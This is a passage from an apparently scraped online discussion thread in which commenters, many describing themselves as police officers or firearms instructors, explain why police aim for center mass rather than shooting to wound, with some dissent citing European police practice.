escape.", "Cop of 5 years here, and let me preface this with POLICE ARE NOT TRAINED TO KILL. This idea of \"kill shot\" is incorrect. Police are trained to STOP A THREAT. If that action results in the death of someone, then so be it, it is up to the man or woman who pulled the trigger to justify their actions. \n\nWe are trained to shoot for center mass, for several reasons. Firstly, it is the area that in a high-stress situation that we are most likely to impact. Aiming for the leg, arm, or even head is a small target once you factor in stress, movement, and enviromental factors like lighting, weather and whatnot. Secondly, the idea behind using a firearm is that it is the *last possible resort*. Use of a firearm is only an option when there is no other way of preventing the risk. Contrary to popular belief, the ECD or CEW (whatever the dept calls it - TASER) is NOT a replacement for the firearm. It is another tactical option the same as OC Spray, batons, and other less-than-lethal options. The taser is not an easy device to use. It is a single-shot device that requires an oftentime clumsy reload, usually with only one other cartridge available. The probes are affected by wind, rain, and movement, and often even if they do make good contact with a subject do not arc and cause the ideal full neuromuscular incapacitation. They may become lodged in thick clothing, only one may arc properly, and then you're up shit creek so to speak. \n\nMy next point relates to the idea of shooting someone in a limb. For starters, the marksmanship required is not only high, but actually extreme to make such shooting effective. If the idea is to shoot someone in these areas WITHOUT killing them, that means that only the calf, shin, and knee are really viable areas. Quite often a shot to the thigh will result in immediate death due to the artery in that area. Same with the shoulder (which is why films are usually bullshit when it comes to shots to the shoulder) and arm. A moving target, a high stress situation, and people expect police to let off a well-aimed shot that puts the person down without killing them? Near impossible. My next point - why on earth would we MAIM someone for life by shooting them in the arm or leg if the aim is only to incapacitate? We have other tactical options to use if that is the sole aim without resorting to the firearm. If the aim is to bring someone down and arrest them, then there are a myriad of options at the Police' disposal. No, the firearm is what is used when the situation is now life-threatening, or the threat of injury to the police or someone else is so great, that NO OTHER OPTION is going to stop the threat. This is why it makes my blood boil when someone says, \"why didn't the police taser the man running at them with an iron bar?\" or similar. Simply put, if the police miss? They're dead. If they shoot in the leg? They're dead - that won't stop him, it won't ensure he drops the knife or bar, or whatever. The gun is the last resort, the torso is aimed for because it's the biggest target and an area where one or more bullet wounds will stop someone. \n\nWe are not looking to maim anyone for life - shooting someone in the knee and blowing their leg off is not reasonable, we have other options for simply stopping and arresting someone (say using OC Spray on someone punching someone else). \n\nTL;DR - center mass is the biggest target, the gun is not A resort, it's the LAST resort. Police don't fire kill shots, they fire shots to stop a threat. ", "There's also the risk of innocent bystanders getting hit if the bullet hits (or misses) a leg, maybe ricochets off the ground...", "Shooting to wound is frowned upon in firearms ethics. Look at it as ON and OFF.. 1 or 0. There is no in between. You cannot really teach much beyond that. You could argue that more people would be killed/injured if people were taught to pull their weapon for any other reason than to kill. If you draw your gun, it is to eliminate an immediate threat. The circumstances will not always be predictable. The logistics of aiming for an arm or leg to stop someone is nonsensical. Not to mention, guns aren't like the video games and movies, they don't blow you back. Many people who are shot don't even realize immediately that they were shot. You go for incapacitation or not, ON or OFF. ", "If you've determined that a suspect doesn't pose enough of a threat to warrant killing them, then a firearm isn't the correct tool for the job of subduing them. ", "A cop's first duty is to make sure he goes home at the end of the day. He will protect his own safety before concerning himself with the safety of a suspect. That means a threat is disabled as quickly as possible, which means center of mass, or chest-groin-head, depending on training. ", "They are trained to target the center mass. It's a much easier target when the target is moving and/or shooting back. If you try to shoot a suspect in the arms or legs that's wasted ammo and time which can get you, your partners, and/or innocents killed. Also, getting shot in the torso isn't always a kill shot. There are even a surprising amount of cases where cops have shot suspects in the head and still didn't kill them. When firing a fire arm you shoot to kill. That's the only reason guns where invented. Police have pepper spray, batons, tazers, and handcuffs for non-lethal submission. Whenever a police officers discharges their weapon, yes, they are shooting to kill. Like I said before, guns are not non-lethal tools.", "Police shoot for centre mass. If someone is standing in front of them then the centre mass they shoot for is the chest. Easier to hit rather than a leg where you might miss and hit an innocent bystander.", "Firearms instructor here. \"Shooting to wound\" is Hollywood movie, television and video game nonsense. It does not exist.\n\nAssuming that firearms have less than lethal characteristics is irresponsible.\n\nFirstly attempting to shoot legs, arms or any other extremity is almost impossible in an adrenaline pumping life and death situation as they are small moving targets. You will most likely miss and the errant rounds can hit people not involved in the altercation.\n\nSecond there is something called the femoral artery that runs down both your legs. If nicked you will bleed out and die in seconds.\n\nThird, shooting someone in the legs doesn't produce any stopping effects the same way as center mass shots. The human body is very resilient and contrary to fiction quite hard to kill. People tend to keep fighting once they've been shot, even center mass as they're dying.\n\nThere are numerous instances of officers striking an assailant multiple times center mass with quite stout cartridges such as the .357 magnum and the .45 ACP successively and the assailant was able to continue fighting back and in some instances kill the officer.\n\nThere is one incident from the 90's I remember well. A cop pulled over a guy and ordered him out of the vehicle. Upon exiting the vehicle the guy attacked the officer. The officer managed to fire 5 rounds of .357 magnum to the chest of this guy and not only did this guy survive he pulled out a .22 and killed the officer. This guy ended up surviving the encounter altogether.\n\nCenter mass shots are generally effective because that's where the vital organs are packed. Using defensive hollow point ammunition you are relying on expansion and hydrostatic shock to stop an attacker. Remember most people shot with handguns survive because handguns cartridges are weak compared to rifles and because of this there is a lot of emphasis placed on stopping an attacker not necessarily killing them.\n\nPeople that are high on narcotics such as PCP are able to fight way past the point any sober individual would even be capable so such people may not even feel the rounds slamming into their legs and can continue attacking and possibly kill you.\n\nJust my few cents on the subject.", "Your question has been pretty well answered in terms of why people are trained to shoot for the chest, but I'd like to point out that a shot to the leg can very easily be fatal if it hits the femoral artery. This is real life, not Die Hard. ", "Because that is a very low pobability of subduing the threat.", "Cop here. We are trained to use the appropriate amount of force to end the threat. Any time you fire a gun (handgun, rifle, shotgun, etc.) that is considered lethal force.  The times you are authorized to use lethal force are dictated by a standard of reasonableness and department policies that conform with state law and case law on use of force. Therefore, shooting to end the threat is the desired outcome, but death is always a possibility. Hollywood teaches us that cops are so well trained that we can shoot the gun out of someone's hand or shoot someone in the leg and the bad guy immediately goes down in a tremendous amount of pain. In the real world that just doesn't happen. In the real world, the human body can take a tremendous amount of damage from gunfire and still keep going as long as the shot isn't directly damaging the central nervous system. And even if police were only trained to \"shoot to wound\"  by hitting a target in the leg, there are still major blood vessels in these extremities that if damaged could result in death, even with immediate treatment (like hitting the femoral artery in the leg for example). \n\nBack to your original question, can't we just shoot someone in the leg? Police are trained to shoot center mass because that is the biggest and easiest target to hit on the human body, especially during a dynamic situation involving a moving body while the shooter is under a great deal of stress. ", "I'll chime in here. People generally don't understand how difficult it is to fire a handgun accurately under controlled and non stressed situations.\n\nNow factor in extreme stress and fear suddenly that shot gets exponentially more difficult. If you are aiming for a small target such as arms and legs in this situation there's a high probably you won't hit your intended target. What most people describe as centre mass is much easier to hit than extremities. Factor in that centre mass contains vital organs and you've got a situation where you can stop a threat much more efficiently.\n\nNow onto the matter of 'shoot to wound.' In terms of policing in north america this is simply something that is not done or trained for. There are specific levels of threats that warrant specific levels of responses from a police officer. \n\nThe most minimal level of response is simply the presence of police and verbal intervention. This is used for situations where there is little to no threat to yourself or the public. \n\nAs a threat becomes greater so do police responses. Once the threat reaches a point where an officer fears of imminent death or grevious bodily harm, the handgun comes out. Put yourself in this situation. This is not where you would want to risk your own life shooting at someone's legs or arms when they want to kill you.\n\nIf a police officer is at a point where they would consider shoot to wound (which is never something that should be considered) there are intermediate options such as OC spray (aka pepper spray), tasers, batons, etc.", "Believe it or not, cops are supposed to only shoot when they believe their lives are in danger.  Shooting  someone in the leg is hard to do and might not even slow them down.  Shooting at center of mass is the easiest target and the target that will save the officer's life.", "They are in other countries. I live in Germany and I hear a lot more of legshots than deadly shots. Kinda hard to find English sources, here is one:\n\n_URL_0_\n\nThey will use deadly force if necessary but I am 100% sure that the definition of necessary is very different. \n\n2011: 85 BULLETS  for the whole year, 49 of which were warning shots, 36 on target. 15 persons injured, 6 killed. In one year for the country. _URL_1_", "Because a gun should only be used a last resort. If lethal force is required, it better be lethal. ", "I'd be curious to hear what the policies of countries with less gun violence are.", "You aren't allowed to discharge your weapon unless it's necessary to use deadly force. So if deadly force isn't necessary, you aren't allowed to use your firearm. \n\nAnd the rationale from there on is that if a situation has pressed you to the point where you feel that deadly force is necessary, you should not be endangering yourself or others by taking risky shots that might miss or not stop the attacker.\n\nTL;DR: shoot only if you *NEED* to kill, and in those situations shoot *TO* kill.", "Because life isn't Lethal Weapon. You don't just shoot and hit someone in the leg half looking. Guns are really hard to aim.", "Military law enforcement here.\n\nCivilian Police while in academy, and while qualifying on their service weapon, are trained to shoot \"Center Mass\". Aiming for the chest offers a wider shot area, neutralization of the threat at hand, and a decreased chance to miss your shot on target.\n\nTo include to shooting center mass they are also trained that any use of serious bodily harm, or deadly force, is always a last resort when all lesser means have failed or cannot be reasonably employed.\n", "You only hear about the times they kill, not injure.", "I'm sure this will get buried, but with a lot of people responding who have little or no experience with firearms, I'd like to offer any redditors in the central NJ area a free trip to the range for a bit of a 'familiarization' experience. ", "I remember quite sometime ago an actual cop answered a similar question. Maybe someone else remembers or can link to the actual post.\n\nThe gist of it was that pulling out your weapon is a last resort, to be used only in response to great violence (like if the criminal has a weapon and is threatening someones life).\n\nIf you just shoot someones leg so they can't run away, you are using extreme measures to respond to a significantly less demanding situation, and this opens up a whole world of trouble. Imagine you miss and accidentally hit a bystander.\n\nSo, you only use your gun when it is justified by life threatening conditions, in which case, the appropriate response is to aim for center mass, where you are less likely to miss and endanger someone else any further.", "3 words. \n\nCenter of mass.\n\nIt's very hard to hit a hand or specifically a leg, so your most reliable place to shoot is the biggest target.\n\nYou also have to consider that if you're ready to shoot someone, you're ready to kill them.", "Are you kidding, OP? We've have this discussion before:\n\n_URL_0_\n\n**tl;dr there's no such thing as a \"non fatal area\" when using a gun.**", "I would assume that they are only authorised to shoot in a life or death situation, in that case the most important is to stop the suspect in the surest way. ", "setting aside that a leg shot can very easily be fatal, aiming is incredibly difficult. \n\nat 10 feet, a human takes up like 15 degrees of arc. their leg realistically takes up maybe 1 or 2 degrees. most people can't draw an angle that small, much less aim it. ", "Hitting the legs of arms of even  stationary target can be hard, as soon as you add movement it can be almost impossible for most people. Police officers in the US are trained to aim for center of mass, as are most people who handle a weapon because normally they cannot afford to miss because they tried to hit their arm etc", "My friend told me that police are trained not to use their gun as a tool. It is only to be used when a life is in immediate danger and the target must be eliminated quickly. Therefore, they must shoot to kill. \n\nNote: I do not know if this is true but it did make sense to me so maybe it's not....\n\n*:grammer", "Only people who have never shot a gun ask this question.", "Two reasons, 1: because of the legalities and 2.  Because real life isn't Hollywood.  Shooting a pistol accurately is actually really hard, more so in a life or death situation.  Cops train to hit center of mass, basically the biggest most visible part of the bod,y because it is the most likely place to actually land a hit.  I have seen stats that say that police have something like a %20 hit rate.  Taking the time to try and hit a small limb would have an even smaller hit rate.\n\nAs for the legalities, a gun is a deadly weapon, it should only be employed as such.  Hitting a limb could still sever an artery or cause a person to bleed out, if you don't need to kill them you shouldn't be using a gun.  If a cop's life isn't in immediate danger they have less lethal options like their tazer or baton.  ", "Surely there is more of a risk to yourself if you shoot someone in the leg. Their arms still work.. They can still shoot you back.", "Because the center of mass is a lot larger and moves slower than the extremities and thus less likely to miss, and if you miss, your shot goes thataway into the nearest apartment complex.\n\nAnd as to your follow-up question, why don't they fire warning shots? So? That bullet goes up in the air, and comes down somewhere and hits god knows what. Seem like a good idea?", "Tons of people have already answered your question, OP, but I would like to follow-up with something else to consider: if a cop uses their gun, they do so because they feel their life, or the life of someone else is in danger. As such, they cannot assume a violent person is going to use anything other than deadly force. Therefore, they cannot risk simply trying to wound a violent perpetrator. The life or death of an innocent may hang in the balance of such a shot and a police officer cannot take such a risk. Their job is to protect and they cannot simply assume anyone who is acting violently is going to use anything less than deadly force. It is a necessary response. ", "Police are trained to stop the force. The best area on the body is the chest because it contains the largest surface area. Aim during highly stressful encounters goes away, so aiming for things like the arms or legs is not only difficult but risky because the officer could fail and get them self or others killed. \n\nA lot of people may ask: Well why don't you shoot him with a Taser? Taser's are an incredibly effective tool for a large amount of encounters where a threat may not be imminent. The probes of a Taser are not always effective at sticking to a target so the threat could continue to come towards you. It is very possible for a person to continue shooting while the Taser is on. \n\nSource: I attended a police academy.", "Can testify. Always centre mass. Also, the mindset I was taught was- you draw that pistol someone is going to die. That actually helps on many levels. It maked you really decide if it is necessary to draw your weapon as aposed to cs spray or batton. However, if you have done the knife attack from 20m (Australia), you know that if they have a knife -YOU USE YOUR GUN.", "If you ever point a gun at somebody (even if you think it is unloaded) you have to be prepared to kill them. Guns are made, designed, created to kill. That is their whole purpose. Never point a gun at somebody unless you plan on killing them. ", "When's the last time you shot a pistol? What about the last time you tried to hit an arm sized object at 10 meters away with a pistol? Now what about when that arm sized object is moving around violently and belongs to someone who's trying to hurt you in a matter of seconds? The point of guns is to kill, and if you shoot someone then you are trying to kill them, period. If you're not ready to kill someone or the situation doesn't warrant killing someone, then a gun shouldn't be drawn. It's not an argument of where to shoot, it's an argument about when to shoot.", "You can whip out something like 30% of the effectiveness you see at the range in a real life situation.\n\nYou're hyped up on unreal amounts of adrenaline. It's hard to hold still. Even with training, it's hard to compensate for how incredibly fucking amped you are, since shooting is a bit of a precision thing. Gross motor movement, large motions, very easy when under stress. Small movements, holding still, very hard when under stress. This is part of why you don't see a lot of fancy shmancy wristlocks and long complicated hand-to-hand maneuvers in real fights.\n\nBasically, your aim is now (relatively) shit unless you're super mega Captain SpecOps McBadass (and even his aim is going to be worse), and you need to aim at something you're sure of hitting. What if the dude is running? Now you've got a target that is (at best) half the width of the torso, and it's moving back and forth. You're not gonna hit that.\n\nAnd beyond that, the femoral artery is in the leg. It's rather important. Your legs, being a huge muscle group, use a loooot of blood. This isn't a movie, so shooting them in the leg actually has a pretty good chance of killing them anyway. Except now instead of exploding their heart and being done with it, they're bleeding out on the pavement, suffering while they die, and god knows where all those extra bullets you fired went. They certainly didn't hit the target.\n\nIf you want to be nonlethal, don't use a gun.", "The short answer.  The cops are trained to only pull their gun when lethal force is required.  The gun isn't ment to threaten, or mame.  Meaning, if the gun is coming out, the cop feels threatened and lives are in danger.\n\nIf they need to bust a knee, they have a baton for that.", "When you pull your gun in defense regardless if your a civilian. It's a code black scenario, its a kill or be killed instance. You don't pull a firearm and fucking shoot at a leg, holy shit. You shoot to kill.", "\"Hands and arms can be the fastest-moving body parts. For example, an average suspect can move his hand and forearm across his body to a 90-degree angle in 12/100 of a second. He can move his hand from his hip to shoulder height in 18/100 of a second.\n\n\"The average officer pulling the trigger as fast as he can on a Glock, one of the fastest- cycling semi-autos, requires 1/4 second to discharge each round.\n\n\"There is no way an officer can react, track, shoot and reliably hit a threatening suspect's forearm or a weapon in a suspect's hand in the time spans involved.\n\n\"Even if the suspect held his weapon arm steady for half a second or more, an accurate hit would be highly unlikely, and in police shootings the suspect and his weapon are seldom stationary. Plus, the officer himself may be moving as he shoots.\n\n\"The upper arms move more slowly than the lower arms and hands. But shooting at the upper arms, there's a greater chance you're going to hit the suspect's brachial artery or center mass, areas with a high probability of fatality. So where does shooting only to wound come in when even areas considered by some to 'safe' from fatality risk could in fact carry the same level of risk as targeting center mass?\n\n\"Legs tend initially to move slower than arms and to maintain more static positions. However, areas of the lower trunk and upper thigh are rich with vascularity. A suspect who's hit there can bleed out in seconds if one of the major arteries is severed, so again shooting just to wound may not result in just wounding.\n\n\"On the other hand, if an officer manages to take a suspect's legs out non-fatally, that still leaves the offender's hands free to shoot. His ability to threaten lives hasn't necessarily been stopped.\"\n\nAs to preventing so-called \"overkill\" from shots that are fired after a threat is neutralized, Lewinski offers these observations:\n\n\"Twenty years ago officers were trained to 'shoot then assess.' They fired 1 or 2 rounds, then stopped to see the effect. This required 1/4 to 1/2 second, during which time the suspect could keep firing, if he hadn't been incapacitated.\n\n\"Now they're taught to 'shoot and assess,' to judge the effect of their shots as they continue to fire, an on-going process. This allows the officer to continually defend himself, but because the brain is trying to do 2 things at once-shoot and assess-a very significant change in the offender's behavior needs to take place in order for the officer to recognize the change of circumstances.\n\n\"A suspect falling to the ground from being shot would be a significant change. But by analyzing the way people fall, we've determined that it takes 2/3 of a second to a full second or more for a person to fall to the ground from a standing position. And that is when they've been hit in a motor center that produces instant loss of muscle tension.\n\n\"While an officer is noticing this change, he is going to continue firing if he is shooting as fast as he can under the stress of trying to save his life. On average, from the time an officer perceives a change in stimulus to the time he is able to process that and actually stop firing, 2 to 3 additional rounds will be expended.\n\n\"Shooting beyond the moment a threat is neutralized is not a willful, malicious action in most cases. It's an involuntary factor of human dynamics.\n\n\"Given what science tells us about armed encounters, this most recent proposal is a fantasy, just like Paterson's legislation before it. They would hold officers to super-human performance and punish them criminally for being unable to achieve it.\"\n\nTL;DR - legs  &  arms move faster and are harder to hit. there is also a high chance of hitting a major artery... you would most likely bleed out regardless.\n\nSource: _URL_0_", "it's kind of hard to hit a leg on a moving human.. ", "If you miss you have a higher chance of hitting innocents. Therefore you shoot the chest to avoid a miss", "I read a bunch of the comments and I agree with the majority but if the few I read fully, I didn't notice anyone mention that when I deal with a mental patient or someone on heavy stimulant drugs, it is possible for me to unload all 15 rounds in my gun and that person continue towards me and retain the ability to hurt or kill me.  I think the public underestimate the human bodies ability to take damage and continue on.  Yes that person may/will die later but I need that person to stop immediately and there are 3 bodily systems that accomplish that.  I hit the heart or lungs (center mass) or I hit the brain (head shot).  The head shot is extremely difficult during times of extreme stress where dexterity suffers greatly.  So police (I am a cop) are trained to aim for the area of greatest effectiveness to \"stop the threat\".  \n\nIn the case of Michael Brown even, audio confirmation indicated that Officer Wilson fire 2 sequences of shots.  He fired until Michael stopped briefly and then Michael continued towards Officer Wilson so he fired another series of rounds which ultimately stopped him.  If police were taught \"shoot to kill\" as so many believe, Officer Wilson would have emptied ever round into him without stopping or hesitation.  I'm sure I'll get some negativity for that comment but I think it demonstrates well that police are trained to stop the threat and sometimes, that threat doesn't stop very fast.", "I think people get confused on the nature of how a lot of police training has evolved over the years.\n\nNumerous incidents of officers being murdered by suspects have changed several types of police tactics. Sometimes the incidents have changed how police suspect interdiction has been performed, or what type of equipment the police have been issued.\n\nPolice don't shoot to wound extremities as a rule because this is not threat neutralization, as the escalation of force required when an officer is presented with a situation that could result in grievous bodily harm or death means they respond with the appropriate amount of deadly force to stop a threat.\n\nNow, as police officers are not robots, the perception of escalation of force is entirely up to how the officer interprets it. Remember that people have been seriously wounded or killed by blunt force objects and knives, so while that person may not have a gun, they are in possession of a potentially deadly weapon and are treated as such.\n\nMeaning that if you brandish a weapon at an officer and threaten them with it and do not drop the weapon when they say to, that can be an escalation of the threat to the point the officer would use their sidearm or other firearm to stop you from being a threat. \n\nHollywood has really skewed people's perceptions about what is actually possible. In a situation where a officer would have to use their firearm, they're going to aim for the biggest target possible because even with the training they will be in a extremely high-stress situation, prompting a massive fight or flight body response and probably mag dump into a threat to put them down. ", "A guy I went to high school with is now a cop (and also a giant Conservative asshole). He said that his training instructs police to aim to stop the threat *to them*, and that in those moments, the priority is to preserve the life of the police officer, not to make an arrest. It's gruesome. \n\nI've heard similar statements \"We don't stop crime, we respond to crime.\"", "I used to be a police explorer (youth program). Many of us had the same question. I was told that police officers are trained to \"stop the threat.\" If you shoot someone in the leg and they crawl behind a corner, pull out a gun, and end up shooting you or someone else, you're going to have a lot of explaining to do.", "Cops are now being trained for higher up than center mass. Recognizing that the target still approaches AND can still shoot if armed (or fight through a gunshot wound), the goal is to sever the spinal column. So our aim is now top of chest to neck. People ask me this all the time but after 20 years, I know that adrenaline, stress, outside contributing factors, fear etc etc... all impact my capacity to aim under stress. Shooting practice isn't real life. We are trained the same way, consistently so that practice becomes habit. Another point is that if an officer pulls his or her firearm, it's because they have perceived a deadly threat. We are not allowed to draw down on a person unless a certain threat is present. Ergo, if its my life or a threat's life, I'm going home at the end of the day. People make choices. Cops have to respond appropriately for the safety of everyone. Stray bullets kill good people so we aim to avoid as many stray shots as possible. \nOne of our training routines involves running around the range and doing push ups in low light and immediately shooting when faced with target. It mimics a foot chase and adrenal dump. Its amazing how inaccurate we are. So that is why we aim for biggest mass and with a goal to completely stop the threat. ", "In law enforcement there is a standard theory called \"the force continuium\" or the \"escalation of force guide.\"  In this standard refrence tool, with every level of resistance,  you match and raise one level of force. I.e. if someone unarmed is disturbing the peace- OC (pepper spray.) If that same person becomes physically violent, baton or tazer.  Your duty weapon (pistol) is considered \"deadly\" or \"lethal\" force.  Authorizing this level requires the officer to be in \"imminent danger of serious bodily harm or death\" (or an innocent bystander).  Wherever you shoot someone, it is on the level of lethal force and must be justified.  \"The officer must use the minimum level of force required to protect himself and the public from imminent danger\"  in other words, shooting someone in the leg (which is lethal in many cases and a nearly impossible  shot) is the same as shooting them in the chest in the eyes of the law.", "Only slightly relevant but a high school friend's grandfather was part of a suicide by cop attempt about 20 years ago.\n\nThe guy shot him in the neck with a .25acp.  The other 3-4 police officers retaliated and hit the guy in the chest with like 7-8 .40 cal hollow points. \n\nThat guy lived and is still on death row. His grandfather died within minutes because his carotid artery was severed. ", "You are trained to eliminate the threat, plain and simple. If it gets to a degree to use \"deadly force\" then that's what your supposed to do. ", " What gets me is they seem to unload the clip all the time.", "If they try and shoot to mane then they are far more likely to shoot. Since you can't control whether or not you mane someone or kill them you should only be shooting to kill.\n\nThis is why we need more tazer use among police officers. For example Micheal Brown should have been tazered, but the officer didn't have a tazer and had to use a gun.", "Experience = marine corps.\r\rAfter reading most of the comments I wanted to offer an additional reason I didn't see mentioned.\r\rExtremity shots are mentioned as being hard to make, because they are.\r\r Now if you miss your shot does the round just stop? No.\r\rIf you do hit the arm or leg due to the small amount of mass the round is likely going to  go right through mostly intact\r\rNow, lets imagine an urban scenario. Is it just you and the assailant? Probably not.\r\rIs it worth it to try and disable a shooter by risking a round you shot either missing or going right through their leg into a bystander? No", "When an officer makes the decision to use their gun, they are using deadly force. When it gets to that point, they are going to shoot for center mass, not extremities as it gives them a greater chance to take down their intended target in the least amount of time and the fewest amount of shots fired. This is real life, not movies. Go to a shooting range and fire a pistol. They are inaccurate, even at close range. Why chance shooting someone in the leg and missing when you have a much greater chance to get 2 to the chest quickly and knock the threat down completely? Plus, an officer is accountable for every single bullet that leaves their gun. Each shot will be investigated and they will be held accountable for everything. Again, this isn't the movies, firing wildly in a gunfight and trying to wound someone is a terrible decision and very unlikely to be successful. \n\nI minored in criminal justice and took a few courses at the criminal justice academy. One of the most important things I took away from all that was that using a gun was a last resort option, only to be used when the officer felt their lives or the lives of others around them were in danger. So if that decision has been made, you never shoot to wound, you shoot to take down the threat. And the best, most efficient way to do that is to go for center mass or larger areas of the body such as the chest and head.", "In addition to the top comments of \"aim for center-mass\", let's also consider the alternative:\n\nfor some reason, you find yourself face to face and gun to gun with a cop. Do you really expect to be shot in a NON-lethal way? Any time you PULL the gun, be ready to take a life, because if not, the other person may decide that it's their turn, and they probably aren't aiming for an arm.\n\nGuns are lethal weapons by nature. Trying to make a gun fight into anything else is futile.", "Because if you shoot someone in the leg they can still shoot back", "Because the decision to shoot is already a decision to use lethal force to stop a threat that endangers life or great bodily harm. \n\nThe keyword is stop. Bullets aren't magical, shooting somebody in an arm or leg (assuming you're a good enough marksman to pull it off in such a stressful scenario) is only affecting that person with the pain of the bullet. It's not causing any kind of physical damage that would actually force them to stop. If the threat is on drugs, hyped up on adrenaline, or even just a tough person, pain will not stop them. They may not even know they were shot. Everybody reacts to being shot differently. \n\nThat's why cops shoot for the thoracic cavity. To reliably stop a threat, you need to put your bullets where the body will not physically be able to continue being a threat. I was always taught two to the thoracic cavity, and if that doesn't stop them, go for the head. You're trying to stop that person from killing yourself or someone else, the attacker's life isn't your concern. You need to force them to stop in the most reliable way possible in very limited time. \n\nSo if someone is coming at you with the intent to kill you and you have 2 seconds before they're on top of you, would you shoot where there's a 10% chance of them stopping? Or would you shoot where you're 99% sure they wont be able to continue?", "It's just easiest to hit the biggest part of a person. So, torso, or what they call center mass.", "Accuracy aside there are legal reasons.  No one can argue firearms are not lethel force. So imagine how court would go if the police officer acknowledged that he used lethal force in a manner where non lethal force would suffice. The lawyers would destroy that police officer. We call that excessive force.", "1 - go shooting sometime.  It is hard enough to put a bullet where you want it on a big, still piece of cardboard.  Hitting a small, often moving target like someone's leg is tough and unreliable.\n\n2 - cops are supposed to only shoot as a last resort when there are no other options.  Obviously this isn't always the case but the police have tons of non-lethal and less-than-lethal alternatives.  A gun should never be treated as a less than lethal option.\n\n3 - there's nothing inherently non-fatal about shooting someone's leg.  There is a huge artery that runs through there that, if opened, can bleed a person out in minutes.", "Take this to /r/askleo, you will get more police responses. \n\nWe aren't trained to shoot for a leg or arm because of many reasons.\n\n1 smaller targets are hard to hit. What do you think is better to aim for? A tiny gun in someone's hand, or a knee cap compared to center mass of a target. It's been proven that fine motor skills deminish greatly once your body dumps adrenaline when a fight begins. Aim is reduced. So it's eaiser to aim for the largest part of a body then it is the smallest (legs or arms)\n\n2 multiple studies have shown that a person shot in the arm or leg won't feel it and continue to fight. When someone is attempting to kill me I don't want to waste time shooting their legs while they continue to attempt to kill me. It isn't effective at physically stopping them. Mentally they have made their mind up to fight and everyone knows what happens when you attack a cop, so I know I'm mot going to scare the person to stop, I'm going to have to make then stop.\n\n3 once deadly force is used, it's (most often) authorized by the subjects actions. That subject made the officer fear for their life or someone else's life. So deadly force is used. What is more efdective, one shot to the chest and they stop or 30 shot at the legs, multiple hits and misses and the subject still attempts to kill either the cop or the victim. \n\n\nHere's an article about it\n\n_URL_0_\n", "Police are trained to shoot only to \"stop the threat.\"  The most effective way is to aim for center mass. ", " < Sigh >  I guess I have to be the voice of dissent. All of the cops on here are basically giving you bullshit excuses that they heard from the people who taught them as if it were scientific fact. It is not. If in fact they only pulled out their weapon as a last resort then shooting center mass would be acceptable. The problem is they don\u2019t. They pull out their weapon at the first sign of trouble. Police in other countries are taught to fire a warning shot if necessary, to shoot to wound if necessary, and to shoot to kill if necessary. In other words they are taught to use their brain to assess the situation. Cops in America act like they are totally on autopilot because of their \u201ctraining\u201d. This allows them to shoot to kill in every scenario and not get in trouble or lose their jobs. These are grown thinking adults and they can easily assess a situation and determine if deadly force is needed or not. Yes when a suspect is trying to kill the cop *and* actually has a chance of killing the cop, of course the cop can kill the suspect. There is never any question about that. The problem is most people aren\u2019t really try to kill the cop or the cop is not in that serious of danger.\n\nHere is an article about German police vs US police and \u201ccontagious shooting\u201d:\n\n_URL_1_\n\nNotice something: They fired 85 shots and 49 were warning shots!\nHere is what police in America will tell you. Aim for center mass because you should never pull your gun out unless you mean to kill because a gun is only used to kill. That is incorrect. A gun is a tool. Sometimes a warning shot (generally fired in the air by European police) is enough to get a suspect to stop. Sometimes you can shoot a suspect in the leg. Sometimes you have to kill the suspect. A gun is a tool and can be used in more than one way. \n\nHere is another article about German police:\n\n_URL_0_\n\n\u201cBerlin's RBB TV channel found out that two-thirds of the people who were killed by police gunfire over the past five years were either mentally ill or known to the police as having mental problems.\u201d\n\nThis is the thing, most of the time sane people will surrender given a chance. Mentally ill people won\u2019t. Police in America don\u2019t give them a chance to surrender. They don\u2019t try to talk to the suspects. They open fire to kill and empty their clip.\n\nFinally, I am going to address one more point which is really the bottom line when talking about this. Police in America have actually forgotten what their job is. The job is to protect and serve the public. This includes the people you are arresting. Police in America play on your sympathies and want you to side with them because they are the \u201cgood\u201d guys and the suspect is the \u201cbad\u201d guy. They say things like \u201cWe should be able to do our jobs safely and return home to our families at night\u201d. Here is the thing. NO YOU SHOULDN\u2019T. As a citizen of the United States, I have an expectation to be able to travel and live in safety in this country. As a police officer, when you are OFF duty, you have the same expectation. As a police officer, when you are ON duty, you do not have that expectation. You signed up to risk your life to ensure other peoples safety, including people committing crimes. Drawing and firing your weapon at the first sign of trouble in an attempt to lower the risk of your job means you are not fulfilling your oath as a police officer. Because in the end that is mostly what is happening here. Police draw and kill with their gun quickly in America in an attempt to lower the risk of the job because they either don\u2019t believe in doing their duty as a police officer or they don\u2019t know what the job is actually supposed to entail (and if they did they wouldn\u2019t have signed up for it). That is what it is all about. Lowering their risk because they value their life over the job. If that is the case then you need to quit your job and stop pretending like you are one of the \u201cgood\u201d guys.", "The answers so far are right on the money (i.e. shooting for center mass, and how difficult it REALLY is to hit a small moving target).\n\nIt should also be pointed out the there is really no such thing as a \"non-fatal area\" when it comes to a gunshot wound. When you die from a gunshot wound, it's usually due to blood loss. Getting shot in the arm or leg can still result in a lethal amount of blood loss. \n\nThat said, what's more important when trying to protect your life? Your aggressor's well being, or your life? When shooting someone to protect your (or someone else's) life, your ultimate goal is to STOP the attack as quickly as possible. Period. What happens after that is a by product of the decision that the aggressor made to hurt or kill another human.", "From what I have heard from LEOs any use of a firearm is legally considered \"deadly force\". If the officer says they were aiming for the leg, arm, etc. (deadly force was not necessary) they would not have been justified to fire their weapon at all. This is because it's very easy to cause a fatal wound when shooting at someone even if your just trying to hit them in the leg. (which would be nearly impossible shot on a moving target in the first place) ", "A main point I would like to make is that you own every bullet you fire. That being said if you miss while firing at a smaller limb whatever is behind that target is now in the path of the bullet and in danger of being hit. If the intent of firing is to stop a threat then aim for the largest area of that threat.", "Because legs and arms move around a lot and more importantly, are not nonlethal. Getting shot in the leg or arm risks hitting a major artery and will fuck you up. So you should aim for centre mass and hopefully get a surer hit. If you miss, you even have a chance of hitting a limb or head. Bottom line is, if you're shooting at all, you are shooting to kill. ", "It is easiest to shoot a person in the center of their body, cause its the biggest target.  Also a gunshot to the chest is most likely to stop a person.  If a person receives an injury that isn't immediately fatal, they can continue to attack or return fire.  One example are soldiers who are seriously injured in battle with wounds that aren't immediately fatal, and continue to fire at the enemy.", "This comment will probably be buried and/or downvoted, but I cannot in good conscience let only the mainstream information be represented here. \nFYI, the comments with thousands of upvotes, no matter how well-informed and sincere, mostly reflect the American law-enforcement doctrine of shooting. There are countless police forces in the world that ARE both trained and required to first fire a warning shot, then, if possible, shoot at the legs and so on. And they seem to be doing just fine, btw.  \n\nEDIT: For all the people that either \"think it's stupid\" or \"don't buy it\" here, for instance, are the [Romanian police procedures 